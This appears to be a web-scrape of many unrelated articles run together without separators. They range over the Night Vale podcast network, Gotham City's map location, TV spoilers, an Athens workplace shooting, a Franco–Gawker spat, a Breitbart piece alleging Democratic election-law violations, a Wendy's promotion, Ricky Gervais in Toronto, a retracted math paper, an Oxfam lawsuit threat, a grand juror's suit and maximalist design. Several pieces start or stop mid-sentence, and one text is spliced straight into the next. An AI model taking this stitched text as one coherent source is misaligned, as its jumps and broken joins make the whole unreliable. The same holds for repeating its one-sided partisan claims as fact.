In October 2015 Fink and Cranor released a novel by the same name, Welcome to Night Vale. It is told primarily from the viewpoints of Jackie Fierro and Diane Crayton, both citizens of Night Vale who have been featured in the podcast. Critical reception for the book has been positive.[22][23][24]
It Devours! [ edit ]
In the March 15, 2017 episode of the podcast, Fink announced a second novel, titled It Devours!, which deals with Carlos and his team of scientists investigating the Cult of the Smiling God. It was released October 17, 2017.[25]
Night Vale Presents podcasts [ edit ]
Night Vale Presents, the overall banner for the Welcome to Night Vale podcast, began launching more serial fiction podcasts in early 2016.
The first, Alice Isn't Dead, was written by Night Vale cowriter Joseph Fink, and was performed by Jasika Nicole, who played Dana on Night Vale. The story was presented as monologues broadcast over a trucker CB radio, as a woman drives a truck across America, looking for her missing wife. The first season of 10 episodes was released between March and July, 2016, and a second season began airing in April 2017 to August 8. The third and latest season began airing on April 24, 2018.[26] A novel based on the series is set for release on October 30 2018.
The second Night Vale Presents podcast was Within the Wires, written by Night Vale cowriter Jeffrey Cranor and Janina Matthewson, who also performed the lead character. This story was told as a series of relaxation tapes prepared for a patient in a mysterious medical center known as "The Institute." As the story unfolds, it became clear that the narrator of the tapes had a connection to the patient, and may have had a secret agenda. The first season of 10 episodes was released between June and November, 2016.[27] The second season, presented as a series of museum audio guides, premiered on September 5 2017. The third season is set to premiere on September 4, 2018.
A third podcast, The Orbiting Human Circus (of the Air), was released October 12, 2016. This podcast is written by and stars musician Julian Koster.[28] A second season has been confirmed, although a release date has yet to be announced.
Two new non-fiction podcasts premiered on the Night Vale Presents network in 2017. The first, Conversations With People Who Hate Me, features Dylan Marron (the voice of Carlos on Welcome to Night Vale) having discussions with people who have sent him hateful comments online. The second, I Only Listen To The Mountain Goats, features conversations with Joseph Fink and musician John Darnielle of the band The Mountain Goats. Every episode features a new cover of a Mountain Goats song by a different artist (some of which have been used as the 'weather' in episodes of Night Vale). The first season, focusing on the band's album All Hail West Texas, ended on April 5 2018. An album featuring all the covers from the first season was released the following day.
A new fiction podcast, It Makes A Sound, was launched in 2017, detailing an amateur radio host's love of a local musician and her hopes of revitalizing her hometown. The podcast was created, written, and narrated by Jacquelyn Landgraf. The first season finale aired on January 21 2018. A soundtrack album based on the first season is in development.
In 2018, Night Vale Presents launched two more non-fiction podcasts. Pounded In The Butt By My Own Podcast features various celebrity guests performing short stories by erotic comedy writer Chuck Tingle. Good Morning Night Vale features Welcome to Night Vale voice actors Meg Bashwiner, Symphony Sanders, and Hal Lublin breaking down and discussing every episode of the podcast.
A new fiction podcast titled Adventures in New America, created by Stephen Winter and Tristan Cowen, premiered on September 28, 2018.[29] The podcast is described as "the first sci-fi, political satire, Afrofuturistic buddy comedy."
Another new fiction podcast called Dreamboy premiered on the Night Vale Presents network on October 23, 2018. The musical mystery podcast is about a "spun-out musician" and zoo employee named Dane living in Cleveland, Ohio as he attempts to solve the mystery of mysterious flickering lights across town, as well as a murderous zebra.[30]
Reception [ edit ]
The show has been described as "the news from Lake Wobegon as seen through the eyes of Stephen King", and Christopher Wynn of The Dallas Morning News characterized it as "NPR meets The Mothman Prophecies".[6] The Daily Dot's Gavia Baker-Whitelaw compared the podcast to being "caught somewhere between Weird Twitter and 'Tales of the Unexplained'" and said that it is "well worth a listen—although possibly not after dark, if you live in a small town yourself".[31] Colin Griffith of The A.V. Club said the show is "really well done, offering a surrealist/absurdist (and occasionally existentialist) take on community radio, with dispatches from the small, delectably nightmarish desert town of Night Vale".[32] Writing for TechGeek, Erin Hill considered the uniqueness of the podcast to be "its presentation of what is ordinary", adding that "many of the things that Cecil reports goes against our idea of normal, but [everything] is presented in a manner that makes it seem mundane".[33]
In July 2013, Welcome to Night Vale was ranked second on the top 10 audio podcasts list on iTunes, behind radio program This American Life.[34] During the same month, it surpassed This American Life to become first on the podcasts list, having received 150,000 downloads during a single week.
In December 2013, The A.V. Club ranked the show 7th on its Best Podcasts of 2013 list.[35]
Co-producer Jeffrey Cranor attributed this spike in popularity to both Tumblr and fans of the television series Hannibal. Max Sebela, a creative strategist for Tumblr, stated that the fan following began to "spiral out of control" beginning on July 5, with that week having "20,000-plus posts about 'Night Vale,' with 183,000-plus individual blogs participating in the conversation, and 680,000-plus notes".[36] The Twitter account for the podcast has been noted as having more than 20,000 followers by July 2013.[10]
According to The Daily Dot, new listeners primarily come through fan following and word of mouth primarily on Tumblr with fan fiction and fan art focusing on the romantic relationship between the show's narrator and scientist Carlos.[37] Fans have published "fanscripts", transcripts of the podcast, in order to widen the accessibility of Welcome to Night Vale.[38]
On October 15, 2015 producers Joseph Fink and Jeffrey Cranor were interviewed on The Late Show with Stephen Colbert, and Cecil Baldwin appeared for a Community Calendar public service message for Night Vale.[39] Mike Rugnetta of PBS's web show Idea Channel compares the show to horror writer H.P. Lovecraft's style of writing about fear of what we don't know. He says "But Night Vale turns Lovecraft's 'unimaginable terror' into 'drab mundanity'."
Television adaptation [ edit ]
In December 2017, it was announced that Gennifer Hutchison, a writer and producer on Better Call Saul and Breaking Bad, is adapting Welcome to Night Vale for television. The series is being produced by Sony Pictures Television, where Hutchison has an overall deal, and developed for FX. Fink and Cranor will serve as executive producers.[40]
References [ edit ]Here's a fun idea to consider when Christopher Nolan's The Dark Knight Rises hits theaters in July, the fictional Gotham City of the DC Comics universe is largely considered to be in New Jersey.
Since the 1939 debut of Batman in Detective Comics #27, it seemed a foregone conclusion that Gotham was a fictional representation of New York City. After all, "Gotham" has been associated with The Big Apple since author Washington Irving made the connection in 1807.
For the first several decades of Batman's publication history, the exact location of Gotham was purposely kept secret, as co-creator Bill Finger hoped to make the fictional city identifiable to readers from across the country and the globe.
The notion of where the city is has changed as different writers put their own spin on the character and his surroundings. For example, legendary comic artist Frank Miller, who helped to reinvigorate the character with his 1986 mini-series Batman: The Dark Knight Returns, often said that Gotham City was an analogy New York City at night while Metropolis (of Superman fame) was representative of New York City in the day.
The exact location of Gotham was made even murkier as the character was adapted to the big screen. Tim Burton based the setting of his films Batman and Batman Returns on New York, while Christopher Nolan's Batman Begins and The Dark Knight both contain overt Chicago references.
In 1990, DC Comics published their Atlas of the DC Universe which showed definitively that Gotham City is located in southern New Jersey, along the Delaware Bay, across from Metropolis, which is in Delaware.
Considering what we know about Gotham, the Delaware Bay coast comparison seems apt. Gotham City is a major port with a commercial seaport and a navy yard. It is the home to Wayne Enterprises, the corporate namesake of Batman's secret identity Bruce Wayne, as well as Ace Chemicals.
Could this be the backdrop for Batman's crime fighting? Check out the map below and let us know what you think.Want scoop on your favorite shows? Then come hang out in the Spoiler Room, where I attempt to satiate your need to find out what’s coming up on TV. If you want spoilers on a specific show, send Qs to my Twitter: @NatalieAbrams.
Gimme Scandal scoop! — Chandra
How’s this for cryptic: One of our regulars will be getting a new love interest this season that will definitely surprise you. (The picture above may or may not be a clue.)
Blindspot scoop, particularly on Zapata. — Edwin
Now that we all know Zapata has been working for the CIA, I can exclusively reveal that Chad Donella will stick around as CIA deputy director Jake Keaton in a recurring capacity this year. As Zapata’s direct superior, Keaton continues to be an unreliable ally for the FBI, walking the line between hurting and helping them in the interest of furthering his own murky agenda.
How will James and Lena handle working together on Supergirl? — Micah
They’ll certainly be butting heads over leadership style (more on that soon!), but we’ll also finally get to see how James feels about Lena as a Luthor. “That |
afternoon.
The TBI says James Zotter, 44, and Sandra Cooley, 68, both of Athens, were shot and killed shortly before 4 p.m. at the Thomas and Betts plant. The shooter has been identified as Ricky Swafford, 45, also of Athens.
The preliminary investigation revealed that Swafford, a longtime employee of the plant, became upset at a meeting with Zotter and Cooley, who were his supervisors.
Police say Swafford abruptly left the building and went to the parking lot, only to return a short time later. He then went to the office where Zotter and Cooley both were and shot them.
Authorities said employees were able to warn each other about the shooting and most were able to evacuate the building. Others locked themselves in whatever rooms they were in.
Swafford was later found in a bathroom of the plant, dead from an apparent self-inflicted gunshot wound.
The TBI has confirmed that Swafford had a concealed weapons permit.
All three bodies have been transported to Knoxville for autopsy.
No other employees were hurt.
The TBI investigation into the shooting is ongoing.
During a media briefing Friday, the company's Area Operations Manager Pat Joyce spoke about the impact of the shooting.
"We as a company are heartbroken," he said. "We ask for your understanding and for your prayers."
He told reporters that employees will be paid while the plant is closed.Above, you see James Franco in the latest batch of publicity stills from Sam Raimi’s Oz, The Great And Powerful, in which he plays a magician named Oz, who suddenly finds himself transported to the mythical land of, uh… Oz (Jesus, did Tyler Perry write this?) (whoops, apparently his character is named Oscar, that’s what I get for not fact-checking the source article). I don’t know how Franco managed to act like that monkey was really next to him like that without Andy Serkis there in a leotard acting like a monkey to illustrate it for him. The magic of acting!
On to more important matters, James, on a break from his much more interesting gigs as Invisible Art Collector, Brad Renfro fan, and dicknoser extraordinaire, has been bloggin’ up a storm for Huffington Post. As my classmate at Columbia (*buttons cravat*), I saw Franco read some legitimately great stuff, but I have to say, his movie reviews have been even more boring than most movie critics’ movie reviews. But luckily he’s not just reviewin’, he’s also dissin’! Namely, Gawker. Ooh, a Gawker fight? Tag in Hulk Hogan! FIGHT! FIGHT! FIGHT!
Hmmmm, what else? My first chapbook came out, Strongest of the Litter, but people seem to be more interested in who I’m dating than poetry.
Note: When have people ever been more interested in poetry than anything? The late Middle Ages, maybe? Of course, the choice then was poetry or dysentery.
Oh yeah, I got nominated for a National Entertainment Journalism award for these HuffPost blogs, but no other outlet is going to run that story, right? Hahaha — why would Gawker or the New York Post want to publicize that an actor/Yale doctoral candidate is nominated for an award for something that they are doing themselves? I’m pretty proud of it, but I can see why they must hate me. [HuffPo]
OH SNAP, WHERE’S YOUR AWARD, GAWKER HACKS?! In fact, where’s your doctoral candidate… uh… papers? Do they get papers? (I only have an MFA cravat and commemorative sword.). Anyway, I’m not usually one to give equal credence to both sides of a feud, especially to Gawker, but Gawker’s comeback on this one was particularly strong:
We at Gawker would like to congratulate James Franco, of Huffington Post Media Group, for his National Entertainment Journalism Award nomination for best entertainment blog by an individual. We would also like to congratulate Elizabeth Leonard of People Magazine on her National Entertainment Journalism Award nomination for best feature under 1,000 words for her piece “Kristie Alley’s 100 lb. Slimdown!” and the only nominee in the best tweet category, Dylan Howard of Celebuzz for his work live-tweeting the death of Whitney Houston, “Whitney Houston’s Death – Happening Right Now.” [Gawker]
Holy sh*t, those are real things? I checked, and not only are those awards real, guess who received a nomination in the critics category? You guessed it, Lights Camera Motherf*cking Jackson. So congrats, James Franco, you got nominated alongside a wild child raised in a vacuum by Entertainment Tonight hosts, have fun telling that to your friends at Yale.
I hope Gawker and Huffington Post fall into the ocean for making me aware of this.WASHINGTON—In the aftermath of James O’Keefe’s videos showing Democratic operatives bragging about breaking the law and inciting violence at Donald Trump events, on Tuesday, a watchdog group filed a formal complaint against Hillary Clinton’s campaign and the Democratic National Committee (DNC), alleging that Clinton’s campaign violated federal election law.
The Public Interest Legal Foundation (PILF) is an Indiana-based law firm that litigates ballot-box integrity lawsuits. PILF filed its complaint with the Federal Election Commission (FEC), arguing that agents from the Democracy Partners and the Foval Group—the persons caught on O’Keefe’s explosive videos—“have engaged in public communications, campaign activity, targeted voter registration drives, and other targeted [get out the vote] activity … at the request, direction, and approval of” Hillary for America (the official name of the Clinton campaign) and the DNC.
Federal law at 52 U.S.C. § 30109(a)(2) provides that once the FEC receives a complaint, “If the Commission … has reason to believe that a person has committed, or is about to commit, a violation of [the Federal Election Campaign Act of 1971—as amended by later statutes,]” the FEC “shall make an investigation of such alleged violation.”
The word “shall” is important because it is mandatory, rather than leaving the FEC the option of taking action. Consequently, when the FEC receives a complaint that is plausible on its face and has any sort of supporting evidence or corroboration—such as, for example, a video of a political operative who says he is taking orders directly from specific persons from the Clinton campaign and the national Democratic Party—federal law requires the FEC to open an investigation.
These videos fit a larger pattern of evidence of voter fraud and illegal election activity. In Virginia, a survey of only eight counties revealed hundreds of foreigners—potentially including illegal aliens—already registered to vote, which is a major focus on PILF’s litigation nationwide.
“American voter rolls are corrupted with unacceptable numbers of aliens who are illegally registered to vote,” PILF President J. Christian Adams said in a statement. “Groups should not be coordinating with campaigns and political parties to exploit vulnerabilities in our election system.”
“We hope this matter is fully investigated by the FEC and that if aliens are voting, they are prosecuted by the Justice Department,” he added. “That would mark a change in DOJ policies of the past seven years.”
Unfortunately for Trump supporters, the FEC is not required to finish an investigation and take legal enforcement action by November 8. But this legal complaint—like a second complaint later filed by O’Keefe himself—fuels media attention on the disturbingly brazen statements caught on the videos. These statements in turn advance Donald Trump’s narrative about the lawlessness and corruption of Hillary Clinton and her activities, going beyond her campaign organization to include the Clinton Foundation and pay-for-play politics.
Ken Klukowski is senior legal editor for Breitbart News. Follow him on Twitter @kenklukowski.As we’ve posted before, Wendy’s is going hard, trying to attract more and more to their late night menu. With the Moonlight Meal Deal starting after 10 pm, and the potential of getting a Double Stack, Chili Cheese Fries, and a large beverage for $5, you’d be hard pressed to find a more decadent meal for the price. But we now have new intel from Wendy’s that if you use the term “Guac it Up” when making your order after 10 pm, they will add guacamole to your menu item for free.
This is a pretty big deal considering the ridiculous up charge QSR’s typically charge for guacamole. With others tacking on nearly $2 in some instances, you really have to value getting it on anything for free. That means you can have the Guacamole Ranch Chicken Club after 10 pm any day! Wendy’s also recently did a survey with potential customer’s about what they value for late night eating. The results indicate that people want fresh, quality, cheese and bacon induced, burgers at a great price. While this doesn’t rock the world as far as results go, it helps out us late night snackers that Wendy’s is doing everything they can to feed our needs! Make sure to Guac it Up tonight!
~Fast Food GeekBritish comedian Ricky Gervais is using social media to highlight his favourite parts of Toronto for millions of fans around the world.
Gervais is in Toronto to film a movie called "Special Correspondents." He posted on Facebook that filming starts in mid-May, calling it his "most ambitious project yet."
Throughout the project, Gervais has been posting pictures and comments about his favourite parts of Toronto to his nearly 8 million followers on Twitter and his 3 million ‘friends’ on Facebook. Here are four things he loves about the city:
Nature
On Saturday, Gervais posted three photos of himself and his partner, writer Jane Fallon, in a treed part of one of the Toronto Islands.
Jane having a picnic with all her friends. pic.twitter.com/ZxsZ4MTuhk — Ricky Gervais (@rickygervais) May 9, 2015
“Wow. The Toronto Islands are stunningly beautiful and peaceful,” he wrote.
Wow. The Toronto Islands are stunningly beautiful & peaceful. pic.twitter.com/DUHdn6Keyv — Ricky Gervais (@rickygervais) May 9, 2015
Last week, Gervais posted a photo of Leuty Lifeguard Station in the Beaches area to his Twitter and Facebook pages with the caption: “Exploring the beaches of Lake Ontario. What a beautiful place to live.”
Exploring the beaches of Lake Ontario. What a beautiful place to live. #Toronto pic.twitter.com/r46DEHoqVI — Ricky Gervais (@rickygervais) May 2, 2015
Architecture
On Wednesday, Gervais posted a photo of a fiery orange and red Toronto sunset.
He’s posted several other photos of the city’s skyline during his visit.
On Friday, he posted a photo of himself in front of a mansion, saying, “Netflix have rented a little place for me to stay for the film shoot.
Netflix have rented a little place for me to stay for the film shoot. #SpecialCorrespondents pic.twitter.com/8XFaBOyDBn — Ricky Gervais (@rickygervais) May 8, 2015
Weather
Before Gervais’ most recent visit, he was in Toronto in March scouting locations for the film.
In March, he posted a photo of a cat lying on a dog’s head, with the caption: “Loving chilly Toronto but I could really do with this hat.”
Loving chilly Toronto but I could really do with this hat. pic.twitter.com/hhh6yVOPRu — Ricky Gervais (@rickygervais) March 22, 2015
Last week, he posted a photo of himself on the beach in a red t-shirt, saying later in the day he was the same colour thanks to a sunburn. “Ouch.”
This photo was taken this morning. I am now the same colour as my T Shirt. Ouch. #Toronto pic.twitter.com/cxJilY8aOJ — Ricky Gervais (@rickygervais) May 2, 2015
Hospitality
Following his trip to the beach, Gervais thanked Toronto resident Kara Stahl for offering him a lift when the couple couldn’t find a cab.
“Canadian hospitality at its best,” he wrote.A central claim of those eager for restrictions on tobacco use is that smokers cost society more.
A new study from the Netherlands may help lay that oft heard chestnut to rest. The study shows that there would be no cost savings for governments and taxpayers from preventing obesity or reducing illnesses caused by smoking.
The study found, quite to the contrary, that healthy people cost more.
The study, undertaken by the National Institute for Public Health and the Environment in Holland, found that ultimately healthy people, who live on average four years longer than obese people and seven years longer than smokers, cost the health system about $417,000 from the age of 20 compared to $371,000 for obese people and $326,000 for smokers.
One of the economists working on the study commented: “if you live longer, then you cost the health system more.”Actress Stacey Dash, star of the hit '90s film "Clueless," took to Twitter over the weekend to announce that she is supporting Mitt Romney in the November election.
Dash tweeted her Romney endrosement along with a sexy Americana-themed photo on Sunday.
Many did not take too kindly to Dash's endorsement, with some bringing the 46-year-old's race into the issue.
"You're an unemployed black woman endorsing @MittRomney. You're voting against yourself thrice. You poor beautiful idiot," tweeted one critic. "Wait stacey dash is voting for romney? you get a lil money and you forget that you're black and a woman. two things romney hates," tweeted another. "Still clueless," quipped another.
The actress, who recently reunited with the "Clueless" cast, played Val on Season 1 of VH1's "Single Ladies." However, she did not return for Season 2, which premiered in May.
The criticism did not seem to hurt Dash, who reminded everyone that she has a right to her own opinion.
My humble opinion... EVERYONE is entitled to one. — Stacey Dash (@staceydash) October 7, 2012
She then retweeted two messages from other users: One tweet was from a concerned fan: "ALL ROMNEY Supporters, please follow&support @REALStaceyDash, it appears she'll be voting for @MittRomney &she's getting some heat over it!" The other was from Mitt Romney himself: "Women have had enough of @BarackObama’s disappointment. We need new leadership to get our economy growing again."
Dash's Romney endorsement caused some to scoff at the entire notion of celebrities getting political.
"Well, if you need me, I'll be in the fetal position vowing to never take anything any celebrity says seriously ever again," wrote Jezebel's Laura Beck.
Dash's support for Romney is not the only endorsement to cause a stir recently.Have a seat, this one’s a howler.
According to a retraction notice for “Computer application in mathematics,” published in Computers & Mathematics with Applications:
This article has been retracted at the request of the Publisher, as the article contains no scientific content and was accepted because of an administrative error. Apologies are offered to readers of the journal that this was not detected during the submission process.
The entire abstract of the paper, which was submitted on April 15, 2009, accepted on July 20, 2009 and published in the January 2010 issue of the journal, reads:
In this study, a computer application was used to solve a mathematical problem.
Its conclusion is similarly opaque, but has the added bonus of being nonsensical:
Computer magnification is a Universal computer phenomenon. This technique is applied in physics, astronomy, biology, medicine, architecture, particle physics, genetics, microbiology and in chemistry. Without magnification, deep studies and research are impossible. For the first time in the history of mathematics, the authors applied magnification technology and obtained a solution for a nearly 4300 year old parallel postulate problem. In brief an impossible proposition was proved as possible. This is a problematic problem. Further studies will give birth to a new branch of mathematical science.
Look, this “a problematic problem,” OK? One that is likely to be solved, perhaps, by a co-author, S. Kalimuthu, whose email address is “ohm@budweiser.com.”
Really.
How on Earth does this stuff get past editors, peer reviewers, and publication staffs? And how did it remain in print for two years?
We think we may have a clue. Until the end of last year, Computers & Mathematics with Applications, an Elsevier title, was edited by Ervin Rodin. (The journal’s new editor is Leszek Demkowicz.) Rodin was also editor of Elsevier’s Applied Mathematics Letters, which retracted two bizarre papers last year, one of which was written by one of the co-authors of this latest retracted paper, and the other of which cost the publisher $10,000 when the author — an intelligent design advocate — sued. Rodin has also been replaced at Applied Mathematics Letters, by Alan Tucker.
And he was editor of Mathematical and Computer Modelling, which now says this at its website:
Due to an editorial restructuring, Mathematical and Computer Modelling is not accepting any new papers at the moment.
Elsevier declined to comment on Rodin’s departure from the journals.
Update, 3 p.m. Eastern, 4/24/12: Computers & Mathematics with Applications editor Leszek Demkowicz tells us he doesn’t remember the particulars of this paper, but that:
Upon taking over the journal, we inhereted a lot of past contributions that had not been checked carefully for plagiarism. We have now a new system in place within which each submission is carefully checked using Elsevier provided software against practically everything: our own journal, other Elsevier journals, other journals and even web pages… I hope cases like this will not occur in the future….
Hat tip: Marco van de Weert
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TwitterDear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
The NGO Shurat Hadin on Thursday sent a letter to Oxfam International threatening to sue in multiple countries if Oxfam does not end its relationships with two aid groups the NGO has identified as part of a terrorist group.
Shurat Hadin – Israel Law Center wrote Oxfam’s international headquarters in England and its affiliates in the US, Australia and other countries shortly after a public falling out between actress Scarlett Johansson, then an Oxfam spokeswoman, and Oxfam over her appearing in a Super Bowl advertisement for SodaStream, which has a factory in the West Bank.
Johansson subsequently quit Oxfam.The letter alleges that Oxfam “provides financial aid and additional forms of material support to the Union of Health Workers Committees (UHWC) and the Union of Agricultural Workers Committees (UAWC), instrumentalities of the terrorist Popular Front for the Liberation of Palestine (PFLP) in the Hamas-controlled Gaza Strip and the Palestinian Authority.”The PFLP has been associated with major terrorist attacks dating back to the 1972 Lod Airport massacre, the assassination of then-tourism minister Rehavam Ze’evi in 2001, and – according to a report obtained by The Jerusalem Post from an expert on terrorism – rocket attacks during former prime minister Ariel Sharon’s funeral and other recent attacks.The letter notes that “Oxfam readily acknowledges it works very closely with these two Palestinian groups” – which it says were created and are subsidized by the PFLP – and “provides them financial support.”“Your organization has described them as your ‘partners’ in the numerous press communications and reports you have published. Indeed, last month you signed a new agreement with the UHWC to provide it further financial support,” said Shurat Hadin.Oxfam’s office in England said it had not yet received the letter, but referred the Post to a statement by Australia’s Foreign Ministry in May 2012 which rejected what appeared to be similar allegations by Shurat Hadin regarding the UAWC. The statement said that the UAWC was registered in Israel and not declared illegal in Israel, though the Post could not independently verify that claim.The Australian statement also said that no offense was identified and named several European countries and Japanas supporting the UAWC.Regarding Shurat Hadin’s evidence, the terrorism expert’s report gives numerous examples of alleged mixing of personnel and messages of incitement among the PFLP, UHWC and UAWC. For example, the expert says that Dr. Ahmed Maslamani served at the same time as the head of the PFLP and the UHWC in the West Bank, and that Bashir al Kheiry and Jamil Muhammad Ismail al-Majdalawi served at the same time or have served with both the UAWC and the PFLP.He says that all of the above personnel were at one point imprisoned by Israel for PFLP activities, seeking to demonstrate that their PFLP activities were themselves criminal.The report concludes that the evidence he assembled as an “initial” report “clearly” connects the PFLP and the UHWC and UAWC, while cautioning that the issue could be further researched.Shurat Hadin said that “the UAHC is the PFLP’s health organization and UAWC is the PLFP’s agricultural organization and these entities are an agency or instrumentality of the PFLP.”It alleged that Oxfam’s providing financial aid to the UAHC and the UAWC “directly or indirectly makes assets available to the PLFP.”The letter notes that the EU has designated the PFLP as a terrorist organization and that, “Article 3 of the EU Common Position prohibits the making available of, directly or indirectly, funds, financial assets or economic resources or other related services to or for the benefit of the listed terrorist entities.”Turning to US law, the letter says that the PFLP is officially designated a “Foreign Terrorist Organization,” pursuant to section 219 of the US Immigration and Nationality Act and other legal provisions.According to Shurat Hadin, under a 2010 US Supreme Court case, Holder v. Humanitarian Law Project, “any assistance or support to designated terrorist groups, include putatively benign forms of assistance (such as agricultural aid) is criminal.”Further, Shurat Hadin said that Australia has listed the PFLP as a terrorist organization under the Charter of the United Nations Act 1945, which makes it illegal “for an individual or corporation to directly or indirectly make an asset available to a proscribed person or entity.”“While Oxfam accuses Israel of war crimes, they themselves have partnered and financially support a designated Palestinian terrorist organization. Any money given to a terrorist organization, including its instrumentalities, advances its ability to carry out murderous attacks,” Shurat Hadin head Nitsana Darshan-Leitner said.
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>A member of the grand jury that decided not to indict police officer Darren Wilson over the death of Michael Brown is suing St. Louis County prosecuting attorney Bob McCulloch for the right to speak out on the case. “Grand Juror Doe” claims that McCulloch failed to portray the case accurately by placing “a stronger focus on the victim [Brown] than in other cases presented to the grand jury,” according to the lawsuit, filed in federal court Monday. The suit also alleges that McCulloch conveyed the legal standards for the case in a “muddled” and “untimely” manner. Members of grand juries are not allowed to talk about their cases, but the lawsuit argues that “any interests furthered by maintaining grand jury secrecy are outweighed by the interests secured by the First Amendment.” The plaintiff argues in the brief that speaking publicly would educate the public about the grand jury process and “contribute to the current public dialogue concerning race relations.”Minimalism has held a tight grip on the modern design industry for the past decade. We embraced the Apple aesthetic, extolled the logic of Helvetica, and worshiped at the church of Dieter Rams. It served its purpose, most recently, as a correctional to the excesses of the 1990s. But lately, as dispatches from Milan Design Week have shown, asceticism has given way to audacity.
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Every April, hundreds of thousands of people trek to Milan for its trendsetting design week, which ultimately influences the furniture, accessories, and textiles that make their way into homes, offices, hotels, restaurants, and virtually every other interior. This year the artistic influences ranged from ’30s art deco to ’70s eclecticism. Designers and manufacturers experimented with digital fabrication–like 3D knitting–and rediscovered artisanal craft techniques, like lacquering, metal casting, and jacquard weaving. But one thing was consistent: They’re embracing luxurious materials and textures, testing ambitious silhouettes, and piling on the details to yield products and furnishings that are visually enticing and emotionally evocative. In other words, minimalism is dead; maximalism has arrived. The reasons behind this shift are just as nuanced as the designs themselves, and mirror many of the societal shifts we’re experiencing today. David Alhadeff, founder of the design gallery and retail store The Future Perfect, couldn’t be happier to see people embrace the bold colors and vibrant patterns associated with maximalism. He credits changing tastes, in part, to a healthy economy. “There’s been more widespread acceptance of eclecticism in interior design and mixing periods and styles certainly trains the eye to appreciate maximalism,” he tells Co.Design. “When the economy feels bubbly and high, the appreciation and consumption of the wild and crazy goes up accordingly. Markets will bring what they can bear.” The Future Perfect has been riding the recent economic wave for all it’s worth. It began in 2003 as a small storefront in Williamsburg, Brooklyn, focusing on work from emerging local designers, but moved to a more high-profile location in Manhattan’s NoHo district in 2009, expanded to San Francisco in 2013, and opened a high-concept gallery in a Hollywood Hills house in January. The roster of designers grew to include international practitioners and the sophistication level of products increased over the years, too. Now the store sells a mix of high-end production products and one-of-a-kind collectible design pieces through its gallery program, which includes prismatic glass sculptures by John Hogan, Christopher Stuart’s monolithic metal tables inspired by computer glitches, and marble slab pieces by Lex Pott. One of the most popular products for a maximalist approach has been lamps. “Overall, people seem to be looking for unique sculptural lighting,” he says.
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The interest in sculptural lighting was evident at Euroluce, the lighting show within the larger Salone del Mobile trade show. There, the New York-based brand Roll & Hill introduced an addition to the Kazimir collection from Ladies & Gentlemen Studio, a series of pendant lights composed of iridescent, geometric glass plates. The designers call the collection an exploration of “elemental complexity.” “The quality and complexity of materials, techniques and colors is not something we’ve shied away from, and is actually an element of the creative direction and inspiration behind the founding of the Roll & Hill brand,” Jason Miller, the company’s founder and a lighting designer himself, says. “When the only goal is minimalism, you eventually end up with nothing.” While a strong economy can support more adventurous design–while during leaner times, consumers are more frugal and make purchases that aren’t likely to fall out of fashion–another reason for the emergence of this more eclectic work is simpler: Designers like designing it. It gives them the opportunity to flaunt their creativity. Over the years, the New York design studio Apparatus has found itself less interested in minimalism and more interested in maximalism. It prefers to use natural and tactile materials like marble, blown glass, horsehair, leather, and brushed metals, and assembles everything by hand in Manhattan. “We are definitely in a moment where design is reconnecting with a more decorative impulse,” says Gabriel Hendifar, Apparatus’s creative director and co-founder, with Jeremy Anderson. “Our tendency as a studio over the past few years has been towards minimalism–silhouettes that feel paired down to just their essential elements, and restrained color palettes. But I’m finding myself more and more attracted to large-scale pattern, rich colors, and ornamentation.” Recently, Hendifar found himself drawn to the early 20th century, especially the work of the Wiener Werkstätte (a group of Austrian artists and designers active from about 1903-1930), the Bauhaus, Eileen Gray, and Adolf Loos. He mined these sources to create the Segment table, which is composed of a slick oxblood-red lacquered top, a cast-resin base, and brass fittings; the Metronome lamp, which features a brass shade atop a suede base; and the Lantern pendant, which has a ridged slip-cast porcelain shade and brass structure.
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“For our launches in 2016, we were looking to the shapes and textures of art deco and the plush sexiness of the ’70s, which feel like they came together most brilliantly in the iconic Rue de Babylon interior of Yves Saint Laurent,” Hendifar says. “This year, we’re exploring lacquer, finely fluted porcelain and buttery suede, all of which push the language of our studio in a more-is-more direction.” The art deco era was also alive and well in Dimore Studio‘s installation. The Milan-based interior design firm, whose furniture is distributed in the United States through the Future Perfect, cited the era’s style as an influence for its series of rooms done up in maximalist splendor. One room featured tubular metal chairs painted with peach lacquer beneath enormous Japanese lanterns covered in a floral fabric. Another room, with a blue-and-yellow linoleum floor, had an orange silk-and-velvet chair set next to a green table lamp. Elsewhere, the designers layered reflective tables next to vintage paper-cord chairs. One room with a rust-brown shag carpet, geometric curtains, satin pillows, and lush plants recalls a ’70s Fern Bar. The layering approach and mixing of different motifs is also appearing in mass-market brands, like West Elm. Creative director Johanna Uurasjarvi spearheaded the company’s New Modern collection, which launched earlier this year. While many of the pieces are midcentury-inspired, they’re upholstered in materials like velvet, and feature a mix of pastel hues with metallic and mirrored accents. “We’re entering a new era that embraces personality, rather than minimal perfection,” Uurasjarvi says. “Layering new modern pieces with other objects in our homes–existing furniture, art, photos, childhood and travel mementos–brings it all to life.” Consumers’ desire for more personal expression, and not necessarily rejecting minimalism outright, is driving a few of the maximalist pieces at Ligne Roset, a French furniture manufacturer. “Our business of design is to create something high-end, nonconformist, usable, and creative,” says Antoine Roset, the brand’s managing director. “It’s not a ‘boredom’ with minimalism; it’s a look at what else is possible.”
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Technological advancements are also making maximalist details possible. For instance, tooling at Ligne Roset’s factories is becoming more sophisticated. Earlier this year at Maison & Objet–an interior design trade show in Paris–the company launched the Cover sofa by Marie Christine Dorner. Upholstered in sumptuous maroon velvet (it also comes in dove gray and ivory), the piece features elaborate tufting that was only achievable through the development of proprietary machinery. Ligne Roset also reissued two older designs, a Pierre Charpin armchair from the ’90s and a Annie Hiéronimus sectional from the ’80s, two decades known for their brash designs. Ligne Roset had discontinued these pieces since they were too cumbersome to manufacture at the time, but revisited them today because its factories and materials have become advanced enough to make them. Technology, too, plays an important role in maximalism’s emergence at Moroso, an Italian manufacturer of fashion-driven design. An interest in more elaborate, ornate design began about four years ago when they were able to create an industrial-scale version of a Jacquard loom–a 19th century technique for creating decorative fabrics like brocade, damask, and matelassé. Maximalism was further expressed in the Double Zero collection by David Adjaye for Moroso, a series of chairs made from twisted tubular metal, and the Pipe collection by Sebastian Herkner, an oversized chair wrapped in what looks like teddy bear fur. “Maximalism became a trend, slowly but powerfully,” says Patrizia Moroso, the brand’s creative director. “It is influenced by everything that surrounds us—even the air.” An increasingly global design culture is playing a role in 